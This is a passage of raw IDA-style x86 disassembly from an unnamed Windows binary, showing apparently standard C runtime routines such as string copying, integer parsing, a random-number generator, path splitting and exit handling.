jz short loc_41B64A
test esi, 3
jnz short loc_41B614
mov ebx, ecx
shr ecx, 2
jnz short loc_41B681
loc_41B630: ; CODE XREF: sub_41B5F0+8Fj
and ebx, 3
jz short loc_41B642
loc_41B635: ; CODE XREF: sub_41B5F0+22j
; sub_41B5F0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41B66E
dec ebx
jnz short loc_41B635
loc_41B642: ; CODE XREF: sub_41B5F0+2Bj
; sub_41B5F0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj
test edi, 3
jz short loc_41B664
loc_41B652: ; CODE XREF: sub_41B5F0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41B6E6
test edi, 3
jnz short loc_41B652
loc_41B664: ; CODE XREF: sub_41B5F0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41B6D7
loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj
; sub_41B5F0+F4j
mov [edi], al
inc edi
loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj
dec ebx
jnz short loc_41B66B
pop ebx
pop esi
loc_41B673: ; CODE XREF: sub_41B5F0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B679: ; CODE XREF: sub_41B5F0+A9j
; sub_41B5F0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41B630
loc_41B681: ; CODE XREF: sub_41B5F0+20j
; sub_41B5F0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41B679
test dl, dl
jz short loc_41B6CB
test dh, dh
jz short loc_41B6C1
test edx, 0FF0000h
jz short loc_41B6B7
test edx, 0FF000000h
jnz short loc_41B679
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj
xor edx, edx
mov [edi], edx
loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j
; sub_41B5F0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41B6E1
loc_41B6D7: ; CODE XREF: sub_41B5F0+79j
xor eax, eax
loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41B6D9
loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j
and ebx, 3
jnz short loc_41B66B
loc_41B6E6: ; CODE XREF: sub_41B5F0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41B5F0 endp
; =============== S U B R O U T I N E =======================================
sub_41B6EE proc near ; CODE XREF: sub_41B779+4p
; sub_4247EC+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41B6F6: ; CODE XREF: sub_41B6EE+34j
cmp dword_43CBE4, 1
jle short loc_41B70E
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B71D
; ---------------------------------------------------------------------------
loc_41B70E: ; CODE XREF: sub_41B6EE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43C9D8
mov al, [ecx+eax*2]
and eax, 8
loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej
test eax, eax
jz short loc_41B724
inc edi
jmp short loc_41B6F6
; ---------------------------------------------------------------------------
loc_41B724: ; CODE XREF: sub_41B6EE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41B734
cmp esi, 2Bh
jnz short loc_41B738
loc_41B734: ; CODE XREF: sub_41B6EE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41B738: ; CODE XREF: sub_41B6EE+44j
xor ebx, ebx
loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj
cmp dword_43CBE4, 1
jle short loc_41B74F
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B75A
; ---------------------------------------------------------------------------
loc_41B74F: ; CODE XREF: sub_41B6EE+53j
mov eax, off_43C9D8
mov al, [eax+esi*2]
and eax, 4
loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj
test eax, eax
jz short loc_41B76B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41B73A
; ---------------------------------------------------------------------------
loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41B774
neg eax
loc_41B774: ; CODE XREF: sub_41B6EE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B6EE endp
; =============== S U B R O U T I N E =======================================
sub_41B779 proc near ; CODE XREF: ___:00401527p
; sub_401ACD+733p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B6EE
pop ecx
retn
sub_41B779 endp
; ---------------------------------------------------------------------------
mov eax, off_43A97C
test eax, eax
jz short loc_41B78F
call eax ; sub_41C748
loc_41B78F: ; CODE XREF: ___:0041B78Bj
push offset dword_42902C
push offset dword_429018
call sub_41B86C
push offset dword_429014
push offset dword_429000
call sub_41B86C
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_41B7D3
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp
; sub_42255C+2276p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41B7D3
add esp, 0Ch
retn
sub_41B7C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p
; sub_41B7C2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DB9A0, edi
jnz short loc_41B7F0
push [esp+4+arg_0]
nop
call near ptr 27404D4h
push eax
nop
call near ptr 2730B4Dh
loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DB99C, edi
mov byte_4DB998, bl
jnz short loc_41B844
mov eax, dword_4DCFFC
test eax, eax
jz short loc_41B833
mov ecx, dword_4DCFF8
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41B832
loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41B827
call eax
loc_41B827: ; CODE XREF: sub_41B7D3+50j
sub esi, 4
cmp esi, dword_4DCFFC
jnb short loc_41B81F
loc_41B832: ; CODE XREF: sub_41B7D3+4Aj
pop esi
loc_41B833: ; CODE XREF: sub_41B7D3+3Cj
push offset dword_429038
push offset dword_429030
call sub_41B86C
pop ecx
pop ecx
loc_41B844: ; CODE XREF: sub_41B7D3+33j
push offset dword_429044
push offset dword_42903C
call sub_41B86C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41B86A
push [esp+4+arg_0]
mov dword_4DB9A0, edi
nop
call near ptr 77E75CB5h
loc_41B86A: ; CODE XREF: sub_41B7D3+85j
pop edi
retn
sub_41B7D3 endp
; =============== S U B R O U T I N E =======================================
sub_41B86C proc near ; CODE XREF: ___:0041B799p
; ___:0041B7A8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41B871: ; CODE XREF: sub_41B86C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41B884
mov eax, [esi]
test eax, eax
jz short loc_41B87F
call eax
loc_41B87F: ; CODE XREF: sub_41B86C+Fj
add esi, 4
jmp short loc_41B871
; ---------------------------------------------------------------------------
loc_41B884: ; CODE XREF: sub_41B86C+9j
pop esi
retn
sub_41B86C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B886 proc near ; CODE XREF: ___:004013B0p
; ___:004014B6p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B8C6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B8D3
; ---------------------------------------------------------------------------
loc_41B8C6: ; CODE XREF: sub_41B886+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B8D3: ; CODE XREF: sub_41B886+3Ej
mov eax, esi
pop esi
leave
retn
sub_41B886 endp
; =============== S U B R O U T I N E =======================================
sub_41B8D8 proc near ; CODE XREF: ___:00401266p
; sub_401ACD+31A3p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43A960, eax
retn
sub_41B8D8 endp
; =============== S U B R O U T I N E =======================================
sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p
; ___:loc_4016A7p ...
mov eax, dword_43A960
imul eax, 343FDh
add eax, 269EC3h
mov dword_43A960, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41B8E2 endp
; =============== S U B R O U T I N E =======================================
sub_41B900 proc near ; CODE XREF: ___:0040134Ep
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41B97A
mov dh, [ecx+1]
test dh, dh
jz short loc_41B967
loc_41B918: ; CODE XREF: sub_41B900+52j
; sub_41B900+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41B93A
test al, al
jz short loc_41B934
loc_41B929: ; CODE XREF: sub_41B900+32j
mov al, [esi]
inc esi
loc_41B92C: ; CODE XREF: sub_41B900+3Fj
cmp al, dl
jz short loc_41B93A
test al, al
jnz short loc_41B929
loc_41B934: ; CODE XREF: sub_41B900+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41B93A: ; CODE XREF: sub_41B900+23j
; sub_41B900+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41B92C
lea edi, [esi-1]
loc_41B944: ; CODE XREF: sub_41B900+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41B973
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41B918
mov al, [ecx+3]
test al, al
jz short loc_41B973
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41B944
jmp short loc_41B918
; ---------------------------------------------------------------------------
loc_41B967: ; CODE XREF: sub_41B900+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41BFB6
; ---------------------------------------------------------------------------
loc_41B973: ; CODE XREF: sub_41B900+49j
; sub_41B900+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B97A: ; CODE XREF: sub_41B900+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41B900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B980 proc near ; CODE XREF: ___:0040133Bp
; sub_401ACD+1C73p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B9BF
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B9CC
; ---------------------------------------------------------------------------
loc_41B9BF: ; CODE XREF: sub_41B980+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B9CC: ; CODE XREF: sub_41B980+3Dj
mov eax, esi
pop esi
leave
retn
sub_41B980 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B9D1 proc near ; CODE XREF: ___:00401318p
; sub_401ACD+21D2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41AFE0
cmp eax, 1
pop ecx
jb short loc_41BA0C
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41BA0C
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41BA08
push 2
push ebx
push esi
call sub_420289
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41BA08: ; CODE XREF: sub_41B9D1+25j
inc ebx
inc ebx
jmp short loc_41BA16
; ---------------------------------------------------------------------------
loc_41BA0C: ; CODE XREF: sub_41B9D1+18j
; sub_41B9D1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BA16
and byte ptr [eax], 0
loc_41BA16: ; CODE XREF: sub_41B9D1+39j
; sub_41B9D1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41BA8E
loc_41BA29: ; CODE XREF: sub_41B9D1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DCEC1[edx], 4
jz short loc_41BA3A
inc eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA3A: ; CODE XREF: sub_41B9D1+64j
cmp cl, 2Fh
jz short loc_41BA4E
cmp cl, 5Ch
jz short loc_41BA4E
cmp cl, 2Eh
jnz short loc_41BA54
mov [ebp+var_4], eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj
; sub_41B9D1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41BA54: ; CODE XREF: sub_41B9D1+67j
; sub_41B9D1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41BA29
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41BA8E
cmp [ebp+arg_8], 0
jz short loc_41BA89
sub edi, ebx
cmp edi, esi
jb short loc_41BA72
mov edi, esi
loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420289
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BA89: ; CODE XREF: sub_41B9D1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41BA98
; ---------------------------------------------------------------------------
loc_41BA8E: ; CODE XREF: sub_41B9D1+56j
; sub_41B9D1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41BA98
and byte ptr [ecx], 0
loc_41BA98: ; CODE XREF: sub_41B9D1+BBj
; sub_41B9D1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41BAEB
cmp edi, ebx
jb short loc_41BAEB
cmp [ebp+arg_C], 0
jz short loc_41BAC8
sub edi, ebx
cmp edi, esi
jb short loc_41BAB1
mov edi, esi
loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420289
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41BB13
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41BAD8
mov esi, eax
loc_41BAD8: ; CODE XREF: sub_41B9D1+103j
push esi
push [ebp+var_4]
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41BB13
; ---------------------------------------------------------------------------
loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj
; sub_41B9D1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41BB09
sub eax, ebx
cmp eax, esi
jnb short loc_41BAFA
mov esi, eax
loc_41BAFA: ; CODE XREF: sub_41B9D1+125j
push esi
push ebx
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41BB13
and byte ptr [eax], 0
loc_41BB13: ; CODE XREF: sub_41B9D1+FCj
; sub_41B9D1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B9D1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BB20 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41BB40
loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41BB2C
loc_41BB40: ; CODE XREF: sub_41BB20+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41BB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Fp
; sub_401ACD+75AEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41BB63
xor eax, eax
jmp short loc_41BB99
; ---------------------------------------------------------------------------
loc_41BB63: ; CODE XREF: sub_41BB4F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41BB93
mov esi, [ebp+arg_8]
loc_41BB6C: ; CODE XREF: sub_41BB4F+42j
dec dword ptr [esi+4]
js short loc_41BB7B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41BB82
; ---------------------------------------------------------------------------
loc_41BB7B: ; CODE XREF: sub_41BB4F+20j
push esi
call sub_41F043
pop ecx
loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41BB9D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41BB93
dec [ebp+arg_4]
jnz short loc_41BB6C
loc_41BB93: ; CODE XREF: sub_41BB4F+18j
; sub_41BB4F+3Dj ...
and byte ptr [edi], 0
loc_41BB96: ; CODE XREF: sub_41BB4F+55j
mov eax, ebx
pop esi
loc_41BB99: ; CODE XREF: sub_41BB4F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41BB9D: ; CODE XREF: sub_41BB4F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41BB93
xor ebx, ebx
jmp short loc_41BB96
sub_41BB4F endp
; =============== S U B R O U T I N E =======================================
sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BBA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep
; sub_41BDC5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41BBD5: ; CODE XREF: sub_41BBBD+46j
cmp dword_43CBE4, 1
jle short loc_41BBED
movzx eax, bl
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BBFC
; ---------------------------------------------------------------------------
loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej
test eax, eax
jz short loc_41BC05
mov bl, [esi]
inc esi
jmp short loc_41BBD5
; ---------------------------------------------------------------------------
loc_41BC05: ; CODE XREF: sub_41BBBD+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41BC13
or [ebp+arg_C], 2
jmp short loc_41BC18
; ---------------------------------------------------------------------------
loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej
cmp bl, 2Bh
jnz short loc_41BC1E
loc_41BC18: ; CODE XREF: sub_41BBBD+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41BC1E: ; CODE XREF: sub_41BBBD+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41BDB5
cmp eax, 1
jz loc_41BDB5
cmp eax, 24h
jg loc_41BDB5
push 10h
test eax, eax
pop ecx
jnz short loc_41BC66
cmp bl, 30h
jz short loc_41BC50
mov [ebp+arg_8], 0Ah
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC50: ; CODE XREF: sub_41BBBD+88j
mov al, [esi]
cmp al, 78h
jz short loc_41BC63
cmp al, 58h
jz short loc_41BC63
mov [ebp+arg_8], 8
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC63: ; CODE XREF: sub_41BBBD+97j
; sub_41BBBD+9Bj
mov [ebp+arg_8], ecx
loc_41BC66: ; CODE XREF: sub_41BBBD+83j
cmp [ebp+arg_8], ecx
jnz short loc_41BC82
cmp bl, 30h
jnz short loc_41BC82
mov al, [esi]
cmp al, 78h
jz short loc_41BC7A
cmp al, 58h
jnz short loc_41BC82
loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41BC82: ; CODE XREF: sub_41BBBD+91j
; sub_41BBBD+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj
cmp dword_43CBE4, 1
movzx esi, bl
jle short loc_41BCAA
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCB5
; ---------------------------------------------------------------------------
loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj
mov eax, off_43C9D8
mov al, [eax+esi*2]
and eax, 4
loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj
test eax, eax
jz short loc_41BCC1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41BCF3
; ---------------------------------------------------------------------------
loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj
cmp dword_43CBE4, 1
jle short loc_41BCD5
push edi
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCE0
; ---------------------------------------------------------------------------
loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj
mov eax, off_43C9D8
mov ax, [eax+esi*2]
and eax, edi
loc_41BCE0: ; CODE XREF: sub_41BBBD+116j
test eax, eax
jz short loc_41BD2E
movsx eax, bl
push eax
call sub_420313
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41BCF3: ; CODE XREF: sub_41BBBD+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41BD2E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41BD18
jnz short loc_41BD12
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41BD18
loc_41BD12: ; CODE XREF: sub_41BBBD+147j
or [ebp+arg_C], 4
jmp short loc_41BD21
; ---------------------------------------------------------------------------
loc_41BD18: ; CODE XREF: sub_41BBBD+145j
; sub_41BBBD+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41BD21: ; CODE XREF: sub_41BBBD+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41BC92
; ---------------------------------------------------------------------------
loc_41BD2E: ; CODE XREF: sub_41BBBD+125j
; sub_41BBBD+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41BD4C
test edx, edx
jz short loc_41BD46
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41BD46: ; CODE XREF: sub_41BBBD+181j
and [ebp+var_8], 0
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41BD72
test cl, 1
jnz short loc_41BD99
and ecx, 2
jz short loc_41BD69
cmp [ebp+var_8], 80000000h
ja short loc_41BD72
loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j
test ecx, ecx
jnz short loc_41BD99
cmp [ebp+var_8], eax
jbe short loc_41BD99
loc_41BD72: ; CODE XREF: sub_41BBBD+197j
; sub_41BBBD+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DB958, 22h
jz short loc_41BD88
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj
; sub_41BBBD+19Cj ...
test edx, edx
jz short loc_41BDA2
mov eax, [ebp+var_4]
mov [edx], eax
loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41BDB0
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j
mov eax, [ebp+var_8]
jmp short loc_41BDC0
; ---------------------------------------------------------------------------
loc_41BDB5: ; CODE XREF: sub_41BBBD+66j
; sub_41BBBD+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BDBE
mov [eax], edi
loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj
xor eax, eax
loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41BBBD endp
; =============== S U B R O U T I N E =======================================
sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CFp
; sub_401ACD+6A10p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BDC5 endp
; =============== S U B R O U T I N E =======================================
sub_41BDDC proc near ; CODE XREF: sub_401ACD+5981p
arg_0 = dword ptr 4
push [esp+arg_0]
call near ptr 26B017Ah
nop
test eax, eax
jnz short loc_41BDF2
nop
call near ptr 26B0857h
jmp short loc_41BDF4
; ---------------------------------------------------------------------------
loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj
xor eax, eax
loc_41BDF4: ; CODE XREF: sub_41BDDC+14j
test eax, eax
jz short loc_41BE03
push eax
call sub_4203DF
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj
xor eax, eax
retn
sub_41BDDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D3p
; ___:00411CA2p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420446
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41F69F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_4204D3
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41BE06 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E82p
; sub_401ACD+1EA1p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
